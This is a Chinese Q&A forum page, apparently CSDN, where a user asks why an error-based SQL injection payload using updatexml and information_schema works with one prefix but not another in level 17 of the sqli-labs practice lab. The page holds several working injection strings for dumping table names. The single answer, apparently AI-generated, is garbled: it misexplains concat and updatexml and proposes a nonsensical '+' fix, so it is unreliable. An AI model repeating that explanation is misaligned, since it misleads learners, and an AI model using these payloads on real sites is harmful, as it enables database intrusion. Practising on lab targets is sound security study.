想问一下sql-lab通关游戏第17关报错注入,注入点在pd,为什么构造
adm' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
就不能成功爆出表名
但是用
123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)#
就能成功?
为什么数字可以而字符串不行啊
sql-lab靶场 sql注入
- 写回答
- 好问题 0 提建议
- 追加酬金
- 关注问题
- 邀请回答
-
1条回答 默认 最新
- 吃不了席 2024-09-03 22:07关注
以下回复参考:皆我百晓生、券券喵儿等免费微信小程序作答:
这个问题涉及到SQL注入攻击的一种常见类型,即通过构造特殊字符或者表达式来获取数据库中的敏感信息。在这个特定的例子中,我们尝试获取"security"表的名字。
首先,我们需要理解SQL语句如何工作。当用户输入一个查询时,服务器会解析这个查询,并根据规则执行它。对于SQL注入攻击来说,目标是构造一些特殊的字符或者表达式,使得服务器执行这些特殊字符作为SQL命令,从而获取到额外的信息。
在给定的示例中,
updatexml()
函数是一个常见的用于将文本转换为XML格式的功能。然而,问题的关键在于构造concat()
函数的参数。concat()
函数实际上是在两个字符串之间拼接它们,但在这里,我们需要的是将一个字符串与一个包含SQL命令的字符串拼接在一起。所以,问题的关键在于构造
concat()
函数的第二个参数。为了达到目的,我们需要确保concat()
函数的第二个参数是一个有效的SQL命令。由于updatexml()
函数返回的结果可能是XML数据,我们可以利用这一点:123'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)
这段代码试图构造一个SQL命令,其中第一个子串(
concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)
)是一个合法的SQL命令,用于获取"information_schema.tables"表中"table_name"列的值。然后,我们将结果与另一个字符串(123'
)连接起来,这应该是一个有效的SQL命令。然而,尽管这个逻辑看起来正确,但在实际运行时,这会导致错误。这是因为
concat()
函数的第二个参数实际上是被用来连接字符串的,而不是执行SQL命令。因此,当我们尝试将字符串concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)
连接到字符串123'
时,服务器收到的是一个非法的SQL命令,而不是预期的字符串。要解决这个问题,你需要修改你的SQL语句以正确地执行
concat()
函数的第二个参数。例如,如果你想要将两个字符串连接起来,你应该使用+
操作符,如下所示:123+'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)'
这样,
concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e)
会被视为一个合法的SQL命令,而123
会被添加到结果上,从而产生正确的输出。解决 无用评论 打赏 举报
悬赏问题
- ¥15 如何在vue.config.js中读取到public文件夹下window.APP_CONFIG.API_BASE_URL的值
- ¥50 浦育平台scratch图形化编程
- ¥20 求这个的原理图 只要原理图
- ¥15 vue2项目中,如何配置环境,可以在打完包之后修改请求的服务器地址
- ¥20 微信的店铺小程序如何修改背景图
- ¥15 UE5.1局部变量对蓝图不可见
- ¥15 一共有五道问题关于整数幂的运算还有房间号码 还有网络密码的解答?(语言-python)
- ¥20 sentry如何捕获上传Android ndk 崩溃
- ¥15 在做logistic回归模型限制性立方条图时候,不能出完整图的困难
- ¥15 G0系列单片机HAL库中景园gc9307液晶驱动芯片无法使用硬件SPI+DMA驱动,如何解决?